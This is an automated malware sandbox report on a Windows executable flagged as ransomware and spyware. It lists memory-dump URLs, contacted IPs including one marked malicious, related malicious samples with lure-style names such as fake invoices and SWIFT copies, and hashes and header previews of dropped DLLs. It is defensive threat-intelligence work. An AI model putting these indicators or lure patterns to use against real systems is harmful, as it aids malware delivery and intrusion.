http://www.mozilla.com0	1COK25f1vT.exe, 0000000C.00000003.484184430.000000001F9EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487119055.000000001F238000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484675523.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487230327.000000001F364000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487823577.000000001F1F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492897666.000000001F85C000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492773065.000000001F838000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485757428.000000001F368000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492649482.000000001F820000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491908994.000000001F660000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.485890632.000000001F290000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491844346.000000001F610000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.492301830.000000001F6F0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.491938965.000000001F6E0000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.483738780.000000001F990000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.489216061.000000001F1EC000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484708142.000000001F9E4000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.484234075.000000001F998000.00000004.00000001.sdmp, 1COK25f1vT.exe, 0000000C.00000003.487925295.000000001F1CC000.00000004.00000001.sdmp, mozglue.dll.12.dr, softokn3.dll.12.dr, nssdbm3.dll.12.dr, freebl3.dll.12.dr, nss3.dll.12.dr	false	URL Reputation: safe	unknown
https://dotbit.me/a/	1COK25f1vT.exe, 1COK25f1vT.exe, 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/chrome/thank-you.html	1COK25f1vT.exe, 0000000C.00000002.515276537.000000001FF80000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	364961566067931661861453.tmp.12.dr, 364969067119854362121246.tmp.12.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.168.46	drive.google.com	United States	15169	GOOGLEUS	false
172.217.168.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
185.29.11.112	unknown	European Union	203557	DATACLUB-NL	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	542372
Start date:	19.12.2021
Start time:	21:11:10
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	1COK25f1vT.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.phis.troj.spyw.evad.winEXE@8/53@2/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 66.5% (good quality ratio 57.6%) Quality average: 68.1% Quality standard deviation: 36.4%
HCA Information:	Successful, ratio: 97% Number of executed functions: 159 Number of non-executed functions: 130
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DATACLUB-NL	133960.pdf.exe	Get hash	malicious	Browse	84.38.133.169
	MT103_RECEIPT241121.xlsx	Get hash	malicious	Browse	84.38.133.143
	HK211116A.xlsx	Get hash	malicious	Browse	84.38.133.143
	swift_mt103.xlsx	Get hash	malicious	Browse	84.38.133.143
	outstanding_remit111921.xlsx	Get hash	malicious	Browse	84.38.133.143
	Inv 10455 JKK.xlsx	Get hash	malicious	Browse	84.38.133.143
	#RFQ ORDER484425083-NJ.exe	Get hash	malicious	Browse	84.38.133.30
	HSBC_SWIFT_COPY.xlsx	Get hash	malicious	Browse	84.38.133.143
	Nov_SOA_MT103.xlsx	Get hash	malicious	Browse	84.38.133.143
	Statement_outstanding.xlsx	Get hash	malicious	Browse	84.38.133.143
	swift09372-9374.xlsx	Get hash	malicious	Browse	84.38.133.143
	order.exe	Get hash	malicious	Browse	185.29.11.28
	PO44653 FOB - One Below.vbs	Get hash	malicious	Browse	84.38.129.5
	P2gQCIjHzq	Get hash	malicious	Browse	185.220.119.253
	#RFQ SAMPLE PRODUCTS09062021.exe	Get hash	malicious	Browse	84.38.133.182
	xQfw60Goxy.exe	Get hash	malicious	Browse	84.38.129.115
	HWIqLgv0X0.exe	Get hash	malicious	Browse	84.38.129.115
	NBI Antiants Trading Pte ltd 09022021.exe	Get hash	malicious	Browse	84.38.133.182
	MT Hojgaard RFQ29082021.exe	Get hash	malicious	Browse	84.38.133.182
	Remittance_Advice_20210826.vbs	Get hash	malicious	Browse	84.38.129.119

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	y1D9dL0u19.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	wyCC1Vf1hK.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	vKM3MeUeL4.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	ilr1dU9IyX.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	gi8bNgqOH5.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	SecuriteInfo.com.Trojan.GenericKD.38251085.1377.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	RGBdFfpTef.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	JvF4VLnfi1.xlsb	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	hRXCaN5BCM.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	22f6150a22017768dc6c1dca6e473aefc6a1d4fa70f7f.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	CnkLa9EWom.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	ccONW1KX4U.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	0a8dQKV7mX.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	CfAG7RLYwP.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	1PRuAc9hUx.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	TxSeF63sKg.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	RPf57m26YR.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	BH-26947836.xlsb	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	tkKSppOaTV.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1
	eaSLe6bhwC.exe	Get hash	malicious	Browse	172.217.168.46 172.217.168.1

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	L2992-PR03660.jar	Get hash	malicious	Browse
	L2992-PR03660.jar	Get hash	malicious	Browse
	j1MTWQvoZS.exe	Get hash	malicious	Browse
	GHPYl58St4.exe	Get hash	malicious	Browse
	DHL SHIPMENT ADDRESS.xlsx	Get hash	malicious	Browse
	82097 PDF.jar	Get hash	malicious	Browse
	f5VSeoyqAF.exe	Get hash	malicious	Browse
	FywS42C4Uo.exe	Get hash	malicious	Browse
	133960.pdf.exe	Get hash	malicious	Browse
	BQvbHU7WJb.exe	Get hash	malicious	Browse
	8760946657883.jar	Get hash	malicious	Browse
	7563992332.jar	Get hash	malicious	Browse
	zhHyK1mLSN.exe	Get hash	malicious	Browse
	HalkbankEkstre073809405251,pdf.exe	Get hash	malicious	Browse
	AWB DEC2021 Waybill No. 9877482301.xlsx	Get hash	malicious	Browse
	Dc45RytyBE.exe	Get hash	malicious	Browse
	99.xlsx	Get hash	malicious	Browse
	323591_039.pdf.exe	Get hash	malicious	Browse
	323591_039.pdf.exe	Get hash	malicious	Browse
	PO.211071(123).jar	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: L2992-PR03660.jar, Detection: malicious, Browse Filename: L2992-PR03660.jar, Detection: malicious, Browse Filename: j1MTWQvoZS.exe, Detection: malicious, Browse Filename: GHPYl58St4.exe, Detection: malicious, Browse Filename: DHL SHIPMENT ADDRESS.xlsx, Detection: malicious, Browse Filename: 82097 PDF.jar, Detection: malicious, Browse Filename: f5VSeoyqAF.exe, Detection: malicious, Browse Filename: FywS42C4Uo.exe, Detection: malicious, Browse Filename: 133960.pdf.exe, Detection: malicious, Browse Filename: BQvbHU7WJb.exe, Detection: malicious, Browse Filename: 8760946657883.jar, Detection: malicious, Browse Filename: 7563992332.jar, Detection: malicious, Browse Filename: zhHyK1mLSN.exe, Detection: malicious, Browse Filename: HalkbankEkstre073809405251,pdf.exe, Detection: malicious, Browse Filename: AWB DEC2021 Waybill No. 9877482301.xlsx, Detection: malicious, Browse Filename: Dc45RytyBE.exe, Detection: malicious, Browse Filename: 99.xlsx, Detection: malicious, Browse Filename: 323591_039.pdf.exe, Detection: malicious, Browse Filename: 323591_039.pdf.exe, Detection: malicious, Browse Filename: PO.211071(123).jar, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\1COK25f1vT.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
